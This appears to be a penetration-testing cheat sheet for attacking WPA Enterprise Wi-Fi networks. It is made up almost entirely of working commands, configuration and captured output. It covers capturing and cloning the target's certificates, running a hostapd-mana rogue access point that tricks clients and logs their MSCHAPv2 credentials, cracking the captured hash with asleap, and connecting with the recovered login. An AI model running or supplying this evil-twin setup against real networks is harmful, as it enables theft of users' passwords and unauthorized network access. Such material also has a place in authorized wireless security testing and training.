WPA Enterprise

Capture ESSID & BSSID:

# start monitor mode
airmon-ng start wlan0
# capture wireless requests
airodump-ng wlan0mon

Open up wireshark and apply the following filter:

tls.handshake.type == 11,3 or tls.handshake.certificate

From there, in the Packet Details pane, we now open Extensible Authentication Protocol > Transport Layer Security. We now have to open the TLSv1 Record Layer: Handshake Protocol: Certificate (or similar, as the TLS version will vary). Once there, we will have to expand Handshake Protocol: Certificate item, then Certificates (plural). Inside Certificates, we can see one or more entries named Certificate. Each of them will be preceded by the length. For each certificate, we right click and select Export Packet Bytes to save the data into a file with a .der extension.

These certificates, which are in binary form, can either be opened in the file manager, or we can display information about them using OpenSSL using openssl x509 -inform der -in CERTIFICATE_FILENAME -text where CERTIFICATE_FILENAME is the path to the certificate.

While this step isn't necessary, we can convert it to PEM format using openssl x509 -inform der -in CERTIFICATE_FILENAME -outform pem -out OUTPUT_PEM.crt. PEM format is basically a base64 version of the .der certificate, limited to 64 columns, with a header and a trailer to indicate it is a certificate.

Install freeradius:

apt install freeradius
cd /etc/freeradius/3.0/certs
nano ca.cnf

...
[certificate_authority]
countryName             = US
stateOrProvinceName     = CA
localityName            = San Francisco
organizationName        = Playtronics
emailAddress            = [e-mail]
commonName              = "Playtronics Certificate Authority"
...


nano server.cnf

...
[server]
countryName             = US
stateOrProvinceName     = CA
localityName            = San Francisco
organizationName        = Playtronics
emailAddress            = [e-mail]
commonName              = "Playtronics"
...

Next, we'll build the certificates. First, we need to regenerate dh

rm dh
make

Install hostapd-mana and then edit the config file:

apt install hostapd-mana
nano /etc/hostapd-mana/mana.conf

Entering the following, making changes to the interface, ssid, channel, and certificates:

# SSID of the AP
ssid=Playtronics

# Network interface to use and driver type
# We must ensure the interface lists 'AP' in 'Supported interface modes' when running 'iw phy PHYX info'
interface=wlan0
driver=nl80211

# Channel and mode
# Make sure the channel is allowed with 'iw phy PHYX info' ('Frequencies' field - there can be more than one)
channel=1
# Refer to https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf to set up 802.11n/ac/ax
hw_mode=g

# Setting up hostapd as an EAP server
ieee8021x=1
eap_server=1

# Key workaround for Win XP
eapol_key_index_workaround=0

# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user

# Certificate paths created earlier
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
# The password is actually 'whatever'
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh

# Open authentication
auth_algs=1
# WPA/WPA2
wpa=3
# WPA Enterprise
wpa_key_mgmt=WPA-EAP
# Allow CCMP and TKIP
# Note: iOS warns when network has TKIP (or WEP)
wpa_pairwise=CCMP TKIP

# Enable Mana WPE
mana_wpe=1

# Store credentials in that file
mana_credout=/tmp/hostapd.credout

# Send EAP success, so the client thinks it's connected
mana_eapsuccess=1

# EAP TLS MitM
mana_eaptls=1

now create the EAP user file referenced in the configuration file, /etc/hostapd-mana/mana.eap_user.

The file should contain the following.

*     PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    "pass"   [2]

start hostapd-mana with the configuration file we created earlier, /etc/hostapd-mana/mana.conf.

sudo hostapd-mana /etc/hostapd-mana/mana.conf -B

When a victim attempts to authenticate to our AP, the login attempt is captured.

...
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: authenticated
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED 00:2b:bb:b0:42:9e
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: cosmo
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: cosmo
MANA EAP EAP-MSCHAPV2 ASLEAP user=cosmo | asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4
MANA EAP EAP-MSCHAPV2 JTR | cosmo:$NETNTLM$ceb69885c656590c$7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | cosmo::::7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:ceb69885c656590c
...

method=25 tells us that the chosen authentication is PEAP, and the line below that one includes the username cosmo. These credentials are also in /tmp/hostapd.credout.

using asleap to crack the password hash. We can copy/paste the output, starting with asleap, and append the wordlist /usr/share/john/password.lst to the -W parameter

asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4 -W /usr/share/john/password.lst

asleap 2.2 - actively recover LEAP/PPTP passwords. <[e-mail]>
Using wordlist mode with "/usr/share/john/password.lst".
        hash bytes:        586c
        NT hash:           8846f7eaee8fb117ad06bdd830b7586c
        password:          password

crackapd can automatically run asleap when it sees credentials in the log file. If crackapd successfully recovers credentials, crackapd adds the user to hostapd eap_user file. This allows the user to successfully connect to our rogue AP. Install using:

https://github.com/sensepost/mana/tree/master/crackapd

Connect using cmdline:

nano wpa.conf
# enter the below:
networks={
	scan_ssid=1
	eap=PEAP
	ssid=dlink
	key_mgmt=WPA-EAP
	identity=WIfu\h@cker
	password="sexylady
	phase1="peaplabel=0"
	phase2="auth=MSCHAPV2"
}

connect:

wpa_supplicant -i wlan0 -c wpa.conf -B 
dhclient wlan0